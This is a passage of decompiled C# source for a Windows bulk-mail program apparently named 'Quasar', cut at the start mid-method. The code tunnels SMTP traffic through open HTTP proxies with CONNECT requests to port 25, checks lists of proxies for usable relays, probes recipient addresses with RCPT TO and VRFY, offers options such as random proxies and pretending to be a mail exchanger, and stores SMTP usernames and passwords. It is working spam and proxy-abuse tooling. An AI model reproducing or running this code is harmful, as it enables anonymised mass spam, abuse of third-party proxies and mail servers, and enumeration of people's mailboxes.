            this.Listlog.Items.Add((object) "SENDBYTES:255");
            byte[] bytes1 = Encoding.ASCII.GetBytes("CONNECT mail.atekcomputers.com:25 HTTP/1.0\r\n\r\n");
            stream.Write(bytes1, 0, bytes1.Length);
            this.Listlog.Items.Add((object) "Before read");
            stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
            string str = Encoding.ASCII.GetString(numArray);
            this.Listlog.Items.Add((object) str);
            if (StringType.StrCmp(str.Substring(0, 10), "HTTP/1.0 2", false) == 0)
            {
              byte[] bytes2 = Encoding.ASCII.GetBytes("HELO Test \r\n");
              stream.Write(bytes2, 0, bytes2.Length);
              stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
              Encoding.ASCII.GetString(numArray);
              byte[] bytes3 = Encoding.ASCII.GetBytes("VRFY People\r\n");
              stream.Write(bytes3, 0, bytes3.Length);
              stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
              this.Listlog.Items.Add((object) Encoding.ASCII.GetString(numArray));
            }
            else
            {
              int num = (int) Interaction.MsgBox((object) "BAD HTTP Proxy!");
            }
          }
          catch (Exception ex)
          {
            ProjectData.SetProjectError(ex);
            ProjectData.ClearProjectError();
          }
        }
        else
        {
          this.Listlog.Items.Add((object) " Stopped");
          Application.ExitThread();
        }
      }
      else
      {
        int num1 = (int) Interaction.MsgBox((object) "Put in the registration code");
      }
    }

    private void Send_Click(object sender, EventArgs e) => new Thread(new ThreadStart(this.SMTPAUTHSend)).Start();

    private void Uselistbox_Click(object sender, EventArgs e)
    {
      if (!this.Uselistbox.Checked)
        this.Uselistbox.Checked = true;
      else
        this.Uselistbox.Checked = false;
    }

    private void Save_Click(object sender, EventArgs e)
    {
      int num1 = (int) this.SaveFileDialog1.ShowDialog();
      try
      {
        int num2 = 0;
        StreamWriter streamWriter = new StreamWriter(this.SaveFileDialog1.FileName);
        int count = this.Proxylist2.Items.Count;
        int num3 = 1;
        while (num3 <= count)
        {
          this.Proxylist2.SelectedIndex = num2;
          streamWriter.WriteLine(this.Proxylist2.SelectedItem.ToString());
          checked { ++num2; }
          checked { ++num3; }
        }
        streamWriter.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }

    private void MenuItem24_Click(object sender, EventArgs e)
    {
      this.MailingList.Show();
      this.SmtpAuth.Visible = false;
      this.Panel2.Visible = false;
    }

    private void Button1_Click_1(object sender, EventArgs e) => this.MailingList.Hide();

    private void MenuItem6_Click(object sender, EventArgs e)
    {
      this.Status.Text = "Stopped";
      Thread thread1 = new Thread(new ThreadStart(this.SMTPAUTHSend));
      while (false)
        thread1.Abort();
      Thread thread2 = new Thread(new ThreadStart(this.SMTPAUTHSen));
      while (false)
        thread2.Abort();
      this.Stopchecking.Checked = true;
      int num = (int) Interaction.MsgBox((object) "Sending Canceled");
      if (this.ListBox1.Items.Count != 1)
        return;
      this.ListBox1.Items.Clear();
    }

    private void Form1_closed(object sender, EventArgs e)
    {
      Thread thread = new Thread(new ThreadStart(this.SMTPAUTHSend));
      while (false)
        thread.Abort();
      try
      {
        Interaction.SaveSetting("Quasar", "start up", "RECIPIENT", this.Recipient.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "from", this.From.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "Subject", this.Subject.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "BODY", this.Body.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "username", this.username.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "password", this.password.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "smtp", this.smtp.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "pop3", this.pop3.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "Proxy", this.Proxy.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "RealEmail", this.RealEmail.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "Accountlist", this.Accountlist.Items.Count.ToString());
        Interaction.SaveSetting("Quasar", "start up", "Reply", this.ReplyTo.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "ToName", this.ToName.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "Fromname", this.Fromname.Text.ToString());
        Interaction.SaveSetting("Quasar", "start up", "Sylonious", this.Sylonious.ToString());
        Interaction.SaveSetting("Quasar", "start up", "Useaccount", this.Useaccount);
        Interaction.SaveSetting("Quasar", "start up", "UsePop", this.UsePop);
        Interaction.SaveSetting("Quasar", "start up", "Builtin", this.UseBuiltinSMTP);
        Interaction.SaveSetting("Quasar", "start up", "Pretendbemx", this.Pretendbemx);
        Interaction.SaveSetting("Quasar", "start up", "RandomProxies", this.RandomProxies);
        string Setting;
        Interaction.SaveSetting("Quasar", "start up", "bypass", Setting);
        this.Htmlcheck = !this.HTML.Checked ? "no" : "yes";
        Interaction.SaveSetting("Quasar", "start up", "Htmlcheck", this.Htmlcheck);
        this.Stopchecking.Checked = true;
        this.ListBox1.Items.Clear();
        Application.Exit();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      Application.Exit();
    }

    private void Button6_Click(object sender, EventArgs e)
    {
      Cursor.Current = Cursors.WaitCursor;
      new Thread(new ThreadStart(this.SMTPAUTHSend)).Start();
      Cursor.Current = Cursors.Default;
    }

    private void Button5_Click(object sender, EventArgs e) => new Thread(new ThreadStart(this.mxprocess)).Start();

    public void mxprocess()
    {
      this.ListBox1.Items.Add((object) this.Recipient.Text);
      int count = this.ListBox1.Items.Count;
      int num = 1;
      while (num <= count)
      {
        this.ListBox1.SelectedIndex = checked (num - 1);
        string host = this.ListBox1.SelectedItem.ToString().Split('@')[1];
        StringType.FromInteger(checked (DateTime.Now.Millisecond * 60));
        string serverAddress = StringType.FromObject(Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{220F74AC-AB8C-4708-A3C3-EF2C4D98BA5E}\\").GetValue("nameserver", (object) "202.12.27.33"));
        IntegerType.FromString("53");
        this.Mailserver1 = (string) null;
        while (StringType.StrCmp(this.Mailserver1, (string) null, false) == 0)
          this.Mailserver1 = this.getMXRecords(host, serverAddress);
        TcpClient tcpClient = new TcpClient();
        string[] strArray = this.Proxy.Text.Split(':');
        tcpClient.Connect(strArray[0], IntegerType.FromString(strArray[1]));
        NetworkStream stream = tcpClient.GetStream();
        byte[] bytes1 = Encoding.ASCII.GetBytes("EHLO Test\r\n");
        byte[] numArray = new byte[checked (tcpClient.ReceiveBufferSize + 1)];
        stream.Write(bytes1, 0, bytes1.Length);
        stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
        Console.WriteLine("Host returned2: " + Encoding.ASCII.GetString(numArray));
        this.Listlog.Refresh();
        byte[] bytes2 = Encoding.UTF8.GetBytes("MAIL FROM:" + this.From.Text + "\r\n");
        stream.Write(bytes2, 0, bytes2.Length);
        stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
        Encoding.ASCII.GetString(numArray);
        byte[] bytes3 = Encoding.UTF8.GetBytes(StringType.FromObject(ObjectType.StrCatObj(ObjectType.StrCatObj((object) "RCPT TO:", this.ListBox1.SelectedItem), (object) "\r\n")));
        stream.Write(bytes3, 0, bytes3.Length);
        stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
        if (StringType.StrCmp(Encoding.ASCII.GetString(numArray).Substring(0, 3), "250", false) == 0)
        {
          this.Listlog.Items.Add((object) "Address Ok");
        }
        else
        {
          this.ListBox1.Items.Remove(RuntimeHelpers.GetObjectValue(this.Listlog.SelectedItem));
          this.Listlog.Items.Add((object) "Address Bad!!!");
        }
        checked { ++num; }
      }
    }

    private void Addaccnt_Click(object sender, EventArgs e) => this.Accountlist.Items.Add((object) (this.smtp.Text + " " + this.pop3.Text + " " + this.username.Text + " " + this.password.Text + " " + this.RealEmail.Text));

    private void MenuItem9_Click(object sender, EventArgs e) => new Thread(new ThreadStart(this.mxprocess)).Start();

    private void Delete_Click(object sender, EventArgs e) => this.Proxylist2.Items.Remove(RuntimeHelpers.GetObjectValue(this.Proxylist2.SelectedItem));

    private void Button7_Click(object sender, EventArgs e) => this.Proxylist2.Items.Add((object) this.Proxy.Text);

    public void CheckHttpproxies(string Proxy)
    {
      string str1 = Proxy;
      this.Stopchecking.Checked = false;
      if (StringType.StrCmp(this.Sylonious, "Yes", false) == 0)
      {
        int num1 = 0;
        int num2 = 1;
        do
        {
          string text = this.smtp.Text;
          if (!this.Stopchecking.Checked)
          {
            try
            {
              string[] strArray = str1.ToString().Split(':');
              TcpClient tcpClient = new TcpClient();
              tcpClient.Connect(strArray[0], IntegerType.FromString(strArray[1]));
              tcpClient.ReceiveTimeout = 5000;
              tcpClient.ReceiveTimeout = 5000;
              byte[] numArray = new byte[checked (tcpClient.ReceiveBufferSize + 1)];
              NetworkStream stream = tcpClient.GetStream();
              if (StringType.StrCmp(this.smtp.Text, (string) null, false) == 0)
                ;
              byte[] bytes1 = Encoding.ASCII.GetBytes("CONNECT " + this.Mailserver + ":25" + " HTTP/1.0" + "\r\n\r\n");
              stream.Write(bytes1, 0, bytes1.Length);
              stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
              string str2 = Encoding.ASCII.GetString(numArray);
              if (((StringType.StrCmp(str2.Substring(0, 10), "HTTP/1.0 2", false) == 0 ? 1 : 0) << 31 >> 31 & ~str2.IndexOf("ERROR")) != 0)
              {
                byte[] bytes2 = Encoding.ASCII.GetBytes("HELO Test\r\n");
                stream.Write(bytes2, 0, bytes2.Length);
                stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
                if (Encoding.ASCII.GetString(numArray).IndexOf("220") != 0)
                  this.Proxylist2.Items.Add((object) Proxy);
              }
              else if (num1 <= 1)
              {
                checked { --num2; }
                checked { ++num1; }
              }
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              if (num1 > 1)
              {
                Application.ExitThread();
              }
              else
              {
                checked { --num2; }
                checked { ++num1; }
              }
              ProjectData.ClearProjectError();
            }
          }
          else
            Application.ExitThread();
          checked { ++num2; }
        }
        while (num2 <= 1);
      }
      else
      {
        int num = (int) Interaction.MsgBox((object) "Put in the registration code");
      }
      Application.ExitThread();
    }

    private void OnConnect(IAsyncResult ar)
    {
      try
      {
        this.sock.EndConnect(ar);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }

    private void Button8_Click(object sender, EventArgs e)
    {
      this.Proxylist.Items.Clear();
      this.Proxylist2.Items.Clear();
    }

    private void Button9_Click(object sender, EventArgs e) => this.Accountlist.Items.Clear();

    private void Button10_Click(object sender, EventArgs e)
    {
      if (StringType.StrCmp(this.textbox1111.Text, "jav3241fdpt35v91ac", false) == 0)
      {
        int num = (int) Interaction.MsgBox((object) "OK");
        this.Sylonious = "Yes";
        this.Button10.Hide();
        this.textbox1111.Hide();
        this.Label21.Hide();
      }
      else
      {
        int num1 = (int) Interaction.MsgBox((object) "Wrong Registeration Code");
      }
    }

    private void OpenProxy_Click(object sender, EventArgs e) => new Thread(new ThreadStart(this.OpenPro)).Start();

    private void Proxylist2_SelectedIndexChanged(object sender, EventArgs e) => this.Proxy.Text = StringType.FromObject(this.Proxylist2.SelectedItem);

    private void Button11_Click(object sender, EventArgs e) => new Thread(new ThreadStart(this.OpenPro2)).Start();

    private void Button12_Click(object sender, EventArgs e) => this.Panel3.Hide();

    private void log_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) => this.Panel3.Show();

    private void Button13_Click(object sender, EventArgs e) => this.Panel4.Visible = true;

    private void Button14_Click(object sender, EventArgs e) => this.Panel4.Visible = false;

    private void Button5_Click_2(object sender, EventArgs e)
    {
      this.Status.Text = "Stopped";
      Thread thread1 = new Thread(new ThreadStart(this.SMTPAUTHSend));
      while (false)
        thread1.Abort();
      Thread thread2 = new Thread(new ThreadStart(this.SMTPAUTHSen));
      while (false)
        thread2.Abort();
      this.Stopchecking.Checked = true;
      int num = (int) Interaction.MsgBox((object) "Sending Canceled");
      if (this.ListBox1.Items.Count != 1)
        return;
      this.ListBox1.Items.Clear();
    }

    private void OpenSmtp_Click(object sender, EventArgs e) => new Thread(new ThreadStart(this.OpenSmtp2)).Start();

    private void CheckSMTP()
    {
      int num1 = 1;
      do
      {
        try
        {
          TcpClient tcpClient = new TcpClient();
          string[] strArray = this.Proxy.Text.Split(':');
          tcpClient.Connect(strArray[0], IntegerType.FromString(strArray[1]));
          NetworkStream stream = tcpClient.GetStream();
          tcpClient.ReceiveTimeout = 1000;
          tcpClient.ReceiveTimeout = 1000;
          byte[] bytes1 = Encoding.ASCII.GetBytes("CONNECT " + this.smtp.Text + ":25 HTTP/1.0" + "\r\n" + "\r\n");
          stream.Write(bytes1, 0, bytes1.Length);
          byte[] numArray = new byte[checked (tcpClient.ReceiveBufferSize + 1)];
          Application.DoEvents();
          stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
          if (StringType.StrCmp(Encoding.ASCII.GetString(numArray).Substring(0, 10), "HTTP/1.0 2", false) == 0)
          {
            byte[] bytes2 = Encoding.ASCII.GetBytes("HELO MEME\r\n");
            stream.Write(bytes2, 0, bytes2.Length);
            Application.DoEvents();
            stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
            string str1 = Encoding.ASCII.GetString(numArray);
            this.Listlog.Items.Add((object) str1);
            if (StringType.StrCmp(str1.Substring(0, 1), "2", false) == 0)
            {
              Console.WriteLine("Host returned2: " + str1);
              string str2 = "<" + this.From.Text + ">";
              Convert.ToBase64String(Encoding.UTF8.GetBytes(this.username.Text));
              byte[] bytes3 = Encoding.ASCII.GetBytes("AUTH LOGIN\r\n");
              stream.Write(bytes3, 0, bytes3.Length);
              byte[] bytes4 = Encoding.UTF8.GetBytes(Convert.ToBase64String(Encoding.UTF8.GetBytes(this.username.Text)) + "\r\n");
              stream.Write(bytes4, 0, bytes4.Length);
              Application.DoEvents();
              stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
              string str3 = Encoding.ASCII.GetString(numArray);
              this.Listlog.Items.Add((object) str3);
              if (StringType.StrCmp(str3.Substring(0, 1), "2", false) == 0 | StringType.StrCmp(str3.Substring(0, 1), "3", false) == 0)
              {
                byte[] bytes5 = Encoding.UTF8.GetBytes(Convert.ToBase64String(Encoding.UTF8.GetBytes(this.password.Text)) + "\r\n");
                stream.Write(bytes5, 0, bytes5.Length);
                Thread.Sleep(1000);
                stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
                string str4 = Encoding.ASCII.GetString(numArray);
                this.Listlog.Items.Add((object) str4);
                if (StringType.StrCmp(str4.Substring(0, 1), "3", false) == 0 | StringType.StrCmp(str3.Substring(0, 1), "2", false) == 0)
                {
                  try
                  {
                    int num2 = (int) Interaction.MsgBox((object) "Ready to Send");
                    this.SmtpAuth.Hide();
                  }
                  catch (Exception ex)
                  {
                    ProjectData.SetProjectError(ex);
                    ProjectData.ClearProjectError();
                  }
                }
                else
                {
                  int num3 = (int) Interaction.MsgBox((object) "Bad Password");
                }
              }
              else
              {
                int num4 = (int) Interaction.MsgBox((object) "Bad Username");
              }
            }
            else
            {
              int num5 = (int) Interaction.MsgBox((object) "Did not connect to SMTP");
            }
          }
          else
          {
            int num6 = (int) Interaction.MsgBox((object) "Did not connect to proxy");
          }
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          this.Listlog.Items.Add((object) ex);
          ProjectData.ClearProjectError();
        }
        checked { ++num1; }
      }
      while (num1 <= 1);
    }

    private void Button20_Click(object sender, EventArgs e) => new Thread(new ThreadStart(this.CheckSMTP)).Start();

    private void pop3_TextChanged(object sender, EventArgs e)
    {
    }

    private void Button21_Click(object sender, EventArgs e) => new Thread(new ThreadStart(this.CheckSMTP)).Start();

    internal class MXRecord
    {
      public int preference;
      public string exchange;

      public MXRecord()
      {
        this.preference = -1;
        this.exchange = (string) null;
      }

      public override string ToString() => StringType.FromDouble(DoubleType.FromString("Preference : ") + (double) this.preference + DoubleType.FromString(" Exchange : ") + DoubleType.FromString(this.exchange));
    }
  }
}
